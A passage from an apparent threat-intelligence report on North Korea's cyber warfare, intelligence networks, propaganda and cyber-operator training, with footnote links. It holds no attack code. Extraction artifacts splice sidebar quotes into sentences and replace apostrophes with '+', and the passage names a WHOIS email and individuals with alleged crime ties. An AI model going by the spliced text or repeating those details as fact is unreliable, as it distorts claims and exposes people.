Suganuma, former +section head of the second intelligence department of the Japanese Public Security Intelligence +Agency (PSIA), +Chongryon is virtually under the direct control of the Liaison Department of the +Workers + Party of Korea, which has been in charge of North Korea +s covert operations and +underground activities against South Korea. Chongryon in Japan has been a strong support +organization aimed at bringing a revolution in South Korea, or a red unification by force. + He also +stated +North Korea will continue to make Chongryon serve as Pyongyang +s pawn in covert +operations against South Korea. +138 The Chongryon are vital to North Korea +s military budget, +raising funds via weapons trafficking, drug trafficking, and other black market activities.139 The +group also forms +front companies + abroad that benefit the regime by generating +Chongryon is virtually +hard currency. One example is Unikotech, which was formed to sell KCC products +under the direct control of +abroad. 140 The Chongryon +s underground group known as the Gakushu-gumi, or +the Liaison Department of +the Workers + Party of Korea, +the study group +, gathers intelligence for North Korea and helps the regime +which has been in charge of +procure advanced technologies.141 The Chongryon +s role in North Korean +North Korea +s covert +intelligence and resource acquisition is discussed below in more detail. +operations and +underground activities +against South Korea. +The regime also has several government bodies under the Cabinet142 that oversee +its infrastructure, intelligence, and technological development. These include the +Central Scientific and Technological Information Agency (CSTIA), the Ministry of Electronics +Industry, and the Ministry of Posts and Telecommunications. The CSTIA collects, analyzes, and +processes data regarding advanced science and technology then sends relevant information to +appropriate areas of the national economy.143 The amount of information contained in CSTIA's +technical database makes it North Korea's largest scientific facility. According to a CIA article, +review of CSTIA +s publications showed that China, Russia, and Japan are important sources of +technical data. CSTIA +s publications include newsletters and an 18-volume science and +technology reference series.144 The Ministry of Posts and Telecommunications is the body of +oversight for Star Joint Venture Co.145 +http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html +http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html +http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ +http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf +http://www.learningace.com/doc/2025666/863b663a9fb13b456304dd0a3bc43547/cyberwarfare +http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf +http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ +https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html +https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf +https://www.northkoreatech.org/tag/ministry-of-posts-and-telecommunications/ +North Korean cyber and intelligence organizational chart +Figure 13 North Korean cyber and intelligence organizational chart +North Korea +s cyber doctrine, strategies and goals +North Korea +s cyber warfare doctrine has not been clearly stated. However, based on cultural and +technical observations, we may deduce that North Korea +s cyber doctrine follows the tenets of +juche nationalism and the songun doctrine. +Although North Korea +s limited online presence makes a thorough analysis of their cyber warfare +capabilities a difficult task, it must be noted that what is known of those capabilities closely +mirrors their kinetic warfare tactics. Cyber warfare is simply the modern chapter in North Korea +long history of asymmetrical warfare. North Korea has used various unconventional tactics in the +past, such as guerilla warfare, strategic use of terrain, and psychological operations.146 The +regime also aspires to create viable nuclear weapons.147 Asymmetrical warfare is defined as +conflict in which the resources of two belligerents differ in essence and in the struggle, interact +and attempt to exploit each other's characteristic weaknesses. Such struggles often involve +strategies and tactics of unconventional warfare, the +weaker + combatants attempting to use +strategy to offset deficiencies in quantity or quality +. 148 +According to the aforementioned report to the House Armed Service Committee, +Cyber warfare is +an important asymmetric dimension of conflict that North Korea will probably continue to +emphasize + in part because of its deniability and low relative costs. +149 North Korea +s poor +economic state150, further explains the regime +s reliance on these tactics. In 2014, the regime +reportedly spent 16% of its budget on defense.151 The North Korean military places a strong +emphasis on information warfare capabilities including political and psychological warfare152 and +cyber or hacker warfare.153 +The report by Capt. Duk-Ki Kim, Ph.D. highlighted North Korea +s counter-asymmetric strategy and +ranked each based on intensity and frequency: +Figure 14 Threat matrix of North Korean asymmetric war capabilities.154 +Cyber warfare operations +Just ten years ago, experts noted that North Korea was one of the +least network-ready and most +isolated societies on the planet. +155 Today North Korea +s air-gapped networks and prioritization of +resources for military use provide both a secure and structured base of operations for cyber +operations and a secure means of communications.156 North Korea +s hermit infrastructure creates +http://www.history.army.mil/brochures/kw-balance/balance.htm +http://www.bbc.com/news/world-asia-pacific-11813699 +http://www.princeton.edu/~achaney/tmve/wiki100k/docs/Asymmetric_warfare.html +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +http://www.foreignpolicy.com/articles/2013/04/29/7_things_north_korea_is_really_good_at +http://blogs.wsj.com/korearealtime/2014/04/10/north-korea-details-budget-plans/ +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.giac.org/paper/gsec/1870/information-warfare/103284 +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +a cyber-terrain that deters reconnaissance. Because North Korea has few Internet connections to +the outside world, anyone seeking intelligence on North Korea +s networks has to expend more +resources for cyber reconnaissance.157 A 2003 article by the U.S. Office of the National +Counterintelligence Executive assessed that +Development of the nation, rather than +empowerment of the individual, appears to be driving DPRK efforts to develop domestic IT +infrastructure and industry. +158 In November 2013, Kim Jong Un referred to cyber warfare +capabilities as a +magic weapon + in conjunction with nuclear weapons and missiles.159 +According to Kim Heung-kwang, a North Korean defector and former computer science professor, +the regime has the following motivations for expanding its cyber warfare capabilities:160 +Cyber capabilities are a cost-effective way to offset North Korea +s lack of kinetic military +prowess. +North Korea +s school systems place a strong emphasis on math, giving the nation +confidence in its programmers, cryptographers, and security researchers. +In the modern warfare landscape, cyber capabilities are potentially more utilitarian than +heavy artillery or aircraft. +Cyber warfare capabilities provide a platform for espionage, psychological operations, +and other forms of non-kinetic warfare. +Considering the separatist nature of North Korea +s infrastructure, cyber warfare provides +a strategic advantage since outbound attacks are possible, but inbound attacks would +have limited reach. +Cyber warfare allows North Korea to leverage the Internet +s inherent flaws for offensive +purposes while maintaining its defenses, primarily via air-gapping its most critical +networks from the outside world. +North Korea +s attack and defense capabilities reportedly include the following cyber warfare and +electronic warfare components: offensive cyber operations (OCO); computer network operations +(CNO), which includes both computer network attack (CNA) and computer network exploitation +(CNE); distributed denial of service (DDoS);161 satellite monitoring; drones; GPS jamming +capabilities162; and deployment of electromagnetic pulse (EMP).163 North Korea +s OCO and CNO +capabilities became apparent as early as 2004, when North Korea reportedly gained access to 33 +of 80 South Korean military wireless communication networks. In June 2006, an attack on the U.S. +State Department originating in the East Asia-Pacific region coincided with U.S.-North Korea +negotiations over the regime +s nuclear missile testing.164 A month later, a South Korean military +report implicated North Korea +s Unit 121 in hacking the South Korean and U.S. Defense +Departments. North Korea also tested a logic bomb in October 2007. A logic bomb is malicious +http://www.huffingtonpost.com/2011/07/25/digital-revolution-north-korea_n_908368.html +http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf +http://english.chosun.com/site/data/html_dir/2013/11/05/2013110501790.html +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.theregister.co.uk/2014/04/22/norks_drones_made_in_china/ +http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? +code programmed to execute based on a pre-defined triggering event. Following the logic bomb +test, the UN passed a resolution banning sales of certain computer hardware to North Korea.165 +North Korea considers its cyber warfare capabilities an important asymmetric asset in the face of +its perceived enemies, the U.S. and South Korea. While North Korea does not have an immersive +digital culture, both the U.S. and South Korea are heavily dependent upon technological +infrastructure for social, economic, and political stability.166 For this reason, a cyber attack that +cripples or compromises the reliability of the U.S. or South Korea +s technological infrastructure +could have a far-reaching impact. +Gaming for profit and pwnage +North Korea has reportedly used computer games for both illegal capital gain and +North Korea has used +orchestrating cyber attacks. In 2011, South Korean police arrested five individuals, +computer games for both +including one Chinese national, for allegedly collaborating with North Korean hackers +illegal capital gain and +affiliated with the Korea Computer Center to steal money via online games.167 +orchestrating cyber attacks. +According to South Korean reports, the culprits used an auto-player to quickly +progress in the massively multiplayer online role-playing game (MMORPG) +Lineage + and were +able to use the game +s market to obtain real currency.168 In 2013, South Korean officials released +information stating they had found evidence that North Korea was using games as a medium for +infecting machines and launching cyber attacks. North Korea had used game downloads to infect +100,000 South Korean machines for a botnet used to launch a distributed denial of service (DDoS) +attack against Incheon Airport.169 This clever tactic sought to leverage a seemingly innocent game +as a force multiplier in order to amplify the effects of a DDoS attack on a critical infrastructure +target. However, in this case, there was little impact on the target. +Intelligence and counterintelligence +North Korea +s intelligence program is one of its strongest military assets, providing foundational +support for all other military operations. The regime +s cyber warfare capabilities, in particular, rely +heavily on open-source intelligence (OSINT) collection and cyber-espionage. 170 As noted in a CIA +publication, "It is a significant irony of our information age that open-source intelligence is +contributing to the survival and development of one of the world's most secretive regimes."171 +Historically, the primary goals of the regime +s intelligence program included collection and +dissemination of intelligence concerning any possible political, military, or economic threat to the +regime +s security and stability. Secondary goals have included "acquisition of foreign military and +civilian technologies and equipment, support of the DPRK +s foreign policy goals, training and +http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea +http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf +http://www.theguardian.com/technology/2011/aug/04/south-north-korean-hackers-china +http://english.chosun.com/site/data/html_dir/2011/05/06/2011050600827.html +http://www.zdnet.com/blog/security/north-korea-ships-malware-infected-games-to-south-korean-users-uses-them-to-launch-ddosattacks/12383 +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html +support for foreign revolutionary and terrorist organizations, and the acquisition of foreign capital +for state and intelligence operations."172 +North Korea has a broad reach for intelligence collection, which extends to cyber intelligence.173 +In April 2013, Solutionary, a company providing managed security services, reported a marked +increase in both overt attacks and information gathering attempts originating from +A faction of ethnic North +North Korean IPs. Solutionary refers to any overt external attacks on company +Koreans residing in Japan, +networks or attempts to steal data as "touches. + They reportedly recorded 12,473 of +known as the Chongryon, +these touches in February 2013, 11,000 of which were directed at a single financial +are critical to North Korea +institution. As a baseline, Solutionary noted that typically only 200 incidents per +cyber and intelligence +programs. +month are traced to North Korean origin. This is an interesting claim, considering +that attacks attributed to North Korea are usually routed through other countries. +As mentioned above, a faction of ethnic North Koreans residing in Japan, known as the Chongryon, +are critical to North Korea +s cyber and intelligence programs and help generate hard currency for +the regime. The Chongryon headquarters has been recognized as the de facto North Korean +embassy in Japan. In 2012, the organization +s headquarters was seized to pay for the group +past due debts.175 +Figure 15 Headquarters of the Chongryon.176 +http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +http://www.usatoday.com/story/tech/2013/04/26/cyberspying-from-north-korean-ip-addresses-spike/2115349/ +http://sundaytimes.lk/?option=com_content&view=article&id=21034:japan-court-approves-seizure-of-nkorea-embassymedia&catid=81:news&Itemid=625 +http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ +It was then purchased by a monk named Ekan Ikeguchi, who let the Chongryon continue to use +the building in what he referred to as a +goodwill gesture +. Ikeguchi is one of the Chongryon +many ties to organized crime. Ikeguchi was arrested in the past for an attempted coup against the +Japanese government. He also has ties to the political group Nihon Seinensya, which is involved in +illegal activities in conjunction with the yakuza syndicate Sumiyoshi-kai, which imports and sells +amphetamines made in North Korea.177 North Korea also has black market ties to Sumiyoshi-kai +rival syndicate, Yamaguchi-gumi. Many members of the Kodo-kai, Yamaguchi-gumi +s ruling +faction, are Korean-Japanese, with ties to North Korea.178 Masahiro Namikawa, leader of the drug +trafficking Seido-kai yakuza organization, also has ties to the Chongryon.179 +The Chongryon operate at least two websites, chongryon.com, which is in Japanese, and koreanp.co.jp. +WHOIS records for chongryon.com indicate that it was registered by +guanin o + using the email +address park2@mac.com. The WHOIS information for korea-np.co.jp. shows that it was +registered by Choson Shinbo Company Inc. The WHOIS records for these sites can be found in +Appendix A. +Additionally, the Chongryon operate a ferry called the Mangyongbong-92, the only direct transit +from Japan to North Korea. In 2003, they were suspected of using the ferry to smuggle missile +parts.180 In 2006, the ferry was temporarily banned from Japanese waters when Japanese officials +discovered the Chongryon were using it to smuggle dual-use electronics to North Korea to be +used for military purposes.181 +North Korea has a global network of state-run businesses located in 30 to 40 +countries that is used for espionage activities. The Reconnaissance General Bureau +is responsible for oversight of this network.182 The businesses include cafes and +other non-suspect establishments. The highest concentration of these is in China. +Members of this espionage network reportedly +send more than $100 million in +cash per year to the regime and provide cover for spies. +183 These establishments +are also used for money laundering and drug trafficking.184 +North Korea has a global +network of state-run +businesses located in 30 to +40 countries that is used for +espionage activities. These +establishments are also +used for money laundering +and drug trafficking. +The regime is also known to kidnap foreign citizens and use them as instruments +for intelligence. Prisoners are first tortured and psychologically conditioned to bend to the +regime +s will. They are then used based on their skillset. This may include teaching their language +to North Koreans, spreading propaganda in their native language, providing translation services, +http://japandailypress.com/religious-group-that-bought-north-korean-embassy-building-has-mob-ties-0826568/ +http://culturmag.de/crimemag/jake-adelstein-the-yakuza-2/20212 +http://www.thedailybeast.com/articles/2013/06/25/the-great-japanese-gang-wars.html +http://news.bbc.co.uk/2/hi/asia-pacific/2958968.stm +http://www.washingtontimes.com/news/2006/oct/16/20061016-122859-4745r/ +http://www.ibtimes.com/north-koreas-international-network-restaurants-used-gain-hard-currency-espionage-1427242 +http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-AmericanHiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer +http://freebeacon.com/national-security/north-koreas-overseas-restaurants-used-for-espionage-and-gaining-hard-currency/ +conducting military training, or other skills the regime deems useful.185 In July 2014, Japanese +officials agreed to lift some sanctions on North Korea when the regime agreed to investigate the +whereabouts of Japanese citizens who were allegedly abducted by North Korean agents decades +ago. Sanctions to be lifted include the ban on port calls to Japan by North Korean ships.186 +North Korea has also infiltrated important positions in South Korea for both intelligence and +psychological operations purposes.187 In 2011, South Korea +s National Intelligence +Service reportedly discovered the presence of Communist spies. These spies within their trusted +circles had been reporting back to North Korea for almost 10 years. The embedded spies included +a Democratic Party representative. According to the agency, the spies were on a mission to +infiltrate and influence the Democratic Party and to gather military intelligence.188 The regime also +attempts to infiltrate organizations made up of North Koreans who seek shelter in South Korea, in +order to gain intelligence. In the past several years, South Korea has arrested at least 14 defectors +who were found to be spies.189 +These intelligence collection and counterintelligence capabilities are an attempt to provide the +regime with a strategic asymmetrical advantage. The regime leverages its human and cyber +resources around the globe to provide an influx of intelligence, while very little credible +intelligence about the regime +s activities and capabilities ever becomes available to the outside +world. +Psychological operations +North Korea continues to be a master of propaganda and deception and leverages the cyber +realm for psychological operations. Modern North Korean psychological operations tactics include +distribution of propaganda via traditional media outlets, websites, and social media. Many of +these psychological operations campaigns are politically focused.190 According to Dr. Andrei +Lankov, the North Korean government has +very rational and highly successful manipulators who +usually get what they want by outsmarting everybody else in the process. +The regime +s Unit 204 is responsible for cyber-psychological operations. These +Such messages can be +operations are PSYOP tailored for the cyber arena. In order to be successful, cyberused for recruitment, +psychological campaigns require speed, precision, and creativity. These campaigns +cyber mobilization, and to +leverage the phenomenon of viral, unverified news stories that tend to rapidly +instill fear in a target +population. +propagate via social media, mobile text messaging, and other electronic +communications. This phenomenon creates an arena for strategic propagation of both +fact and fiction for the purposes of sentiment manipulation. Such messages may be used for +http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-AmericanHiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer +http://m.us.wsj.com/articles/tokyo-to-lift-some-sanctions-on-pyongyang-1404354699?mobile=y +http://www.nytimes.com/2013/10/02/world/asia/northern-spy-lifts-cloak-on-koreas-deadly-rivalry.html?pagewanted=2 +http://www.kccoc.org/home/?mid=eng_kccoc_info_korea&document_srl=3223&sort_index=readed_count&order_type=desc +http://www.washingtonpost.com/world/prominent-n-korean-defector-acquitted-of-espionage-by-s-korean-court/2013/08/22/642b3712-0b1911e3-89fe-abb4a5067014_story.html +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ +recruitment, cyber mobilization, and to instill fear in a target population. Cyber-psychological +operations may also include mental suggestion using technology as a delivery mechanism for +subliminal cues. It is unknown whether North Korea possesses this capability.192 +North Korean citizens have access to state-approved social networks on the Kwangmyong.193 +Figure 16 A photo posted by Jean Lee on Instagram shows one of the social networking sites on +the Kwangmyong.194 +The regime has a limited overt social media presence on the Internet. Some of the known social +media platforms employed by the regime include Twitter, Facebook, and YouTube. The YouTube +channel North Korea Today, operated by user rodrigorojo1, features news clips from North Korea. +It is unclear whether this channel is officially sanctioned.195 The North Korea Today YouTube +channel also has corresponding profiles on Twitter196 and Facebook.197 +http://fmso.leavenworth.army.mil/documents/new-psyop.pdf +http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ +http://instagram.com/p/WpcJs1OCkb/ +https://www.youtube.com/user/rodrigorojo1 +https://twitter.com/NorthKoreaT0day +https://www.facebook.com/pages/Korean-Central-Television/380193555435568?fref=ts +Figure 17 A screenshot of the North Korea Today YouTube Channel.198 +The Uriminzokkiri website, known for pushing juche ideology and anti-American and anti-South +Korean messages, has accompanying social media profiles on YouTube,199 Google+,200 and +Facebook.201 It also has Twitter profiles in both Korean202 and English.203 +https://www.youtube.com/user/rodrigorojo1 +https://www.youtube.com/user/uriminzokkiri +https://plus.google.com/u/0/112306344682887627095 +https://www.facebook.com/pages/Uriminzokkiri/124452740935216 +https://twitter.com/uriminzok +https://twitter.com/uriminzok_engl +Figure 18 A screenshot of the Uriminzokkiri YouTube channel.204 +Figure 19 A screenshot from the Uriminzokkiri Facebook page shows anti-U.S. and pro-juche +rhetoric.205 +https://www.youtube.com/user/uriminzokkiri/featured +https://www.facebook.com/pages/Uriminzokkiri/124452740935216 +Figure 20 A screenshot of the Uriminzokkiri Korean language Twitter profile.206 +Figure 21 A screenshot of the Uriminzokkiri English language Twitter profile.207 +North Korean propaganda208 is used for several purposes: to enforce the ideals of allies +and sympathizers, to frame North Korea in a favorable light to outsiders, to +sensationalize the regime +s perceived self-reliance and military prowess, and to shield its +own citizens from the outside world.209 Juche ideology and indoctrination of the regime +youth ensure support of the local population. North Koreans accept military duty as an +honor and strive to excel in their service to the regime. In the spirit of juche, the regime +uses disinformation to +hide lapses or tout accomplishments that may have never been +https://www.facebook.com/pages/Uriminzokkiri/124452740935216 +https://twitter.com/uriminzok_engl +http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf +http://fas.org/irp/eprint/cno-dprk.pdf +In the spirit of juche, +the regime uses +disinformation to +hide +lapses or tout +accomplishments that +may have never been +achieved. +achieved. +210 Limiting citizen access to the outside world by instituting the Kwangmyong intranet, +North Korea ensures its citizens are not exposed to outside information that is counterproductive +to citizen indoctrination or in conflict with juche ideals. North Korea portrays the West, particularly +the United States, as an enemy. The regime uses this strategy of shifting the population +negative sentiments toward an external entity to keep its citizens ignorant of North Korea +s own +economic hardship, regime brutality, and systemic incompetence.211 For example, prior to Kim +Jong Il +s death in 2011, North Korean media altered photos of their +Dear Leader + to make him +appear younger and healthier than he really was. This became obvious when the altered photos +were compared to those taken by Western media around the same time. 212 +According to Dr. Andrei Lankov, +North Koreans now have a much better understanding of what is +going on in the outside than they did before. This is largely thanks to the spread of DVDs and +video content in the country, but also because some of them have been to China and talk about +what they have seen +many [of] them sincerely believe that the United States remains ready to +attack at any moment and that Japan is an incurably aggressive place +nearly all of them swallow +the official propaganda myths about the Korean War being started by the 'American Imperialists' +who invaded them. Hence, they see the outside world as an inherently dangerous place. +213 Some +human rights groups seek to reach out to North Korean citizens and break them from this +isolation. In August 2014, the New York-based charity Human Rights Foundation sponsored a +hackathon in San Francisco called +Hack North Korea + to find new ways to get information in, out, +and around North Korea. The event brought together many programmers, human rights +campaigners, and defectors.214 +North Korea even uses +trolling + as a PSYOP tactic. On the Internet, +trolls + are users who post +messages that are often crass, controversial, inflammatory, or offensive, in order to evoke a +strong reaction or influence a reader +s opinion. Often, the motivation for trolling is simply for the +troll +s enjoyment. The rude and offensive trolling tactics are in stark contrast to traditional forms +of persuasive rhetoric. However, North Korea reportedly utilizes over 200 military intelligence +operatives to troll South Korean message boards and social media pages with pro-North Korean +sentiments.215 Matt Rhoades, director of the cyberspace and security program at the Truman +National Security Project, said, "North Korea's cyber-development is almost just a new +harassment mechanism for them, a low-cost, asymmetric method to harass its neighbor in the +south +"216 +Leveraging the cyber and intelligence resources noted above, North Korea +s psychological +operations serve an important strategic role. The ability to influence outsiders, while effectively +isolating its own population from most outside influence, allows North Korea to remain an +enigma. Additionally, in line with its PSYOP tactics, North Korea may strategically take credit for +cyber attacks that were, in reality, launched by another entity. Whether the targeted entity blames +http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf +http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf +https://www.strategypage.com/htmw/htmurph/articles/20131106.aspx +http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ +http://www.northkoreatech.org/2014/08/05/hack-north-korea-focuses-silicon-valley-on-information-flow/ +http://www.strategypage.com/htmw/htiw/articles/20131213.aspx +http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 +North Korea for the attacks, or the regime simply takes credit for an attack that has not yet been +attributed, several PSYOP goals can come into play. First, to claim credit for an attack amplifies +the impact of a show of force, particularly if South Korea is the target. This tactic can be used to +stir sentiments in order to provoke a reaction. Second, North Korea may lay claim to responsibility +for an attack that exceeds its capabilities in order to seem more technologically advanced and +more capable. Third, any success, or the appearance thereof, enforces the juche ideal of regime +self-sufficiency. Finally, North Korea may act as a scapegoat and claim credit for a cyber attack of +an ally such as China so the attack is not attributed to the real actors.217 +Electronic warfare +North Korea reportedly has the electronic warfare capabilities to jam GPS and to inject false GPS +coordinates.218 North Korea demonstrated these capabilities in March 2011 by jamming South +Korea +s GPS signals during a joint U.S.-South Korea military exercise.219 North Korea has the +capability to create an EMP.220 An EMP is a sudden, extreme outburst of atmospheric electricity +creating an intense magnetic field that can burn out electrical equipment. 221 A report from the +U.S. Department of Homeland Security (DHS) noted North Korea +s ability to deliver a nuclear +warhead as a satellite over the South Pole, effectively creating the burst needed to deliver an EMP +targeting the United States. An EMP could effectively disrupt electronic communications including +critical infrastructure components such as telecommunications, financial institutions, the energy +sector, transportation, food and water delivery, emergency services, and space systems. 222 North +Korea reportedly acquired its EMP technology from Russia.223 +North Korea also has a drone program. The regime reportedly acquired its first drones in the late +1980 +s or early 1990 +s. The regime +s drones are complimentary to its intelligence program and +are primarily used for surveillance.224 In early 2014 a North Korean drone crashed south of the +38th parallel, the line dividing North Korea from the south.225 While early reports noted that the +drones appeared similar to those manufactured by Chinese company Tauyuan Navigation Friend +Aviation Technology, the company denied involvement.226 +http://fas.org/irp/doddir/army/fm3-05-301.pdf +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 +http://defensetech.org/2007/12/24/inside-dprks-unit-121/ +http://usatoday30.usatoday.com/tech/science/2010-10-26-emp_N.htm +http://www.wnd.com/2014/04/dhs-study-north-korea-capable-of-emp-attack-on-u-s/ +http://www.extremetech.com/extreme/170563-north-korea-emp +http://38north.org/2014/07/jbermudez070114/?utm_source=feedly&utm_reader=feedly&utm_medium=rss&utm_campaign=jbermudez070114 +http://www.popsci.com/blog-network/eastern-arsenal/north-koreas-new-drones-are-chinese-which-opens-new-mystery +http://www.scmp.com/news/china-insider/article/1494207/north-korean-drones-not-theirs-says-chinese-retailer +Figure 22 A drone attributed to North Korea. 227 +Stressing the importance of the regime +s electronic warfare capabilities, in 1999 former regime +leader Kim Jong Il said +The basic key to victory in modern warfare is to do well in electronic +warfare. +228 Since the regime +s advanced technology lags behind that of South Korea and the U.S., +its capability to disrupt the communications of these perceived adversaries is a vital asymmetric +capability.229 +Training cyber warriors +North Korea utilizes primary and secondary education and the university system to train its cyber +warfare operators. According to reports by defectors, the regime seeks out children who show +mathematical talent and sends them through rigorous advanced training.230 A vintage North +Korean animation stresses the importance of mathematics in North Korean education. The short +film follows a young boy as he does his geometry homework. The frustrated boy begins to +daydream then has visions of going to war with the U.S. and needing geometry to effectively +calculate missile trajectory during the battle.231 +http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ +http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf +http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH5.pdf +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://theweek.com/article/index/255243/how-to-kill-americans-with-geometry-a-north-korean-propaganda-film-for-kids +Figure 23 A screenshot from the North Korean animation depicting geometry as a necessary skill +for battle.232 +Science and technology students are expected to learn foreign languages, which may include +Chinese, Japanese, and English.233 Student emails, chats, and web browsing activities are heavily +monitored.234 Around age twelve or thirteen, chosen students are enrolled in accelerated +computer courses at First and Second Geumseong Senior-Middle Schools. +https://www.youtube.com/watch?v=ujtp-70zQME +https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html +http://www.thestar.com/news/world/2014/02/23/north_korea_where_the_internet_has_just_5500_sites.html# +Figure 24 North Korean students training for cyber war.235 +The successful students are then sent to Kim Il-sung University, Kim Chaek University of +Technology,236 or the Command Automation University, traditionally known as Mirim University. +Kim Il-sung University +s computer center was started in 1985. Its computer courses have a heavy +programming element. The university reportedly developed the Intelligent Locker hard disc +protection program, Worluf Antivirus, SIMNA (simulation and system analysis program), a war +games program, a hepatitis diagnosis and prescription system, and a C++ program development +tool called FC 2.0.237 Kim Il-sung University also has programs focusing on nuclear research.238 +Kim Chaek University of Technology was established in 1948. In the late 1990s, it began to +restructure its computer-focused courses to reflect more modern technologies. As of 2002, the +university had three colleges focusing on computer science, information science and technology, +and machine science. Software developed by the university includes Computer Fax and SGVision, +an image-reprocessing program used for steganography.239 Students and instructors must +submit a formal request for permission in order to use the Internet for research.240 +http://www.courierpress.com/news/2013/apr/19/young-north-koreans-train-seek-revenge-us/ +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf +http://www.nti.org/facilities/789/ +http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf +http://www.theguardian.com/world/2013/jan/08/north-korean-google-chief-search +The Command Automation University periodically chooses around 100 students for an intensive +five-year course prior to their assignment to serve in cyber intelligence and cyber warfare +capacities.241 Programs at the Command Automation University include command automation, +computers, programming, automated reconnaissance, and electronic warfare.242 Other students +attend a two-year accelerated university program, then study abroad in Russia or China before +they are assigned to a cyber-operator role.243 +The elite cyber operators are given special incentives. For example, parents of students +graduating from the cyber program with top scores are given the opportunity to live in +Pyongyang; and married cyber operators are given housing, a food allowance, and a stipend if +operating overseas. Due to the nature of their profession, these cyber elite are some of the only +North Koreans allowed to access the outside Internet.244 +Important political and military ties +While this report focuses on North Korea +s cyber warfare capabilities, these capabilities cannot be +fully separated from the implications of partnerships with countries known to deal in illegal +weapons trade with the regime. Now that cyberspace has become a legitimate arena for warfare, +these nations are also potential allies in the cyber realm. For this reason, the regime +s key political +and military relationships are explored below. +China +North Korea has a longstanding historical relationship with China. During the Korean War (19501953), China allied with North Korea +s Communist forces. China has also provided ongoing +political and economic support to the regime +s leadership and is a primary trade partner. North +Korea is economically dependent on China. North Korea gets an estimated 90 percent of its +energy imports, 80 percent of its consumer goods, and 45 percent of its food supply from China. +This relationship is prudent + in the event of a military conflict, China can strategically use North +Korea as a buffer zone between itself and South Korea, where many U.S. military personnel are +stationed. Chinese aid to North Korea also deters the likelihood that the regime will collapse, +resulting in internal destabilization that could catalyze a U.S.-China conflict.245 +North Korea relies heavily on China for technological resources. As noted above, North Korea +relies on China +s Unicom for Internet access.246 Additionally, the regime sends some of its cyber +warriors to train in China247 and stations a portion of its Unit 121 personnel in Shenyang.248 Some +of North Korea +s official websites are hosted in China, 249 and KCC has a branch office there.250 +https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg +http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html +http://www.cfr.org/china/china-north-korea-relationship/p11097#p1 